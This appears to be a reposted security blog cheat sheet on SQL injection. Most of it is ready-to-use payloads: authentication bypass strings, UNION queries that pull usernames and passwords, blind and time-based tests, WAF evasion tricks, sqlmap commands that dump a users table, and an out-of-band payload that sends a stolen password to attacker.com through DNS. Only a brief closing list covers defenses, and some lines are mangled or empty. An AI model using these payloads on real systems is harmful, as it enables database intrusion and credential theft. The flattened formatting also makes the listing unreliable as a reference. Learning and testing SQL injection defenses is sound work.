Listen to this Post
SQL injection (SQLi) is a critical web security vulnerability that allows attackers to interfere with database queries. This cheatsheet provides essential techniques, commands, and bypass methods for testing and securing applications.
You Should Know:
1. Basic SQL Injection Payloads
- Authentication Bypass:
' OR '1'='1' -- admin' -- " OR "" = "
-
Union-Based Injection:
' UNION SELECT 1,2,3-- - ' UNION SELECT username,password,NULL FROM users-- -
2. Blind SQL Injection Techniques
-
Boolean-Based:
' AND 1=1-- - (True condition) ' AND 1=2-- - (False condition)
-
Time-Based:
'; IF (1=1) WAITFOR DELAY '0:0:5'-- - (Delay if true)
3. Out-of-Band Exploitation
- DNS Exfiltration:
'; DECLARE @data VARCHAR(1024); SELECT @data = (SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\' + @data + '.attacker.com\share"')-- -
4. Bypassing WAFs (Web Application Firewalls)
- Obfuscation Techniques:
/!50000SELECT/ FROM users 'UNION//SELECT 1,2,3-- -
5. Automated SQLi Tools
-
SQLmap (Command-Line Tool):
sqlmap -u "http://example.com/login.php?id=1" --dbs sqlmap -u "http://example.com/login.php?id=1" --dump -D database_name -T users
-
Burp Suite (Manual Testing):
Intercept requests and modify parameters for injection testing.
What Undercode Say:
SQL injection remains a top security threat due to poor input validation. Always use:
– Prepared Statements (Parameterized Queries)
– Stored Procedures
– Input Sanitization
– WAF Rules
For further learning, check these courses:
Prediction:
As AI-driven security evolves, attackers will use machine learning to craft advanced SQLi payloads, making automated detection harder.
Expected Output:
A secure web application with sanitized inputs and mitigated injection risks.
Relevant URLs:
IT/Security Reporter URL:
Reported By: Zlatanh Check – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
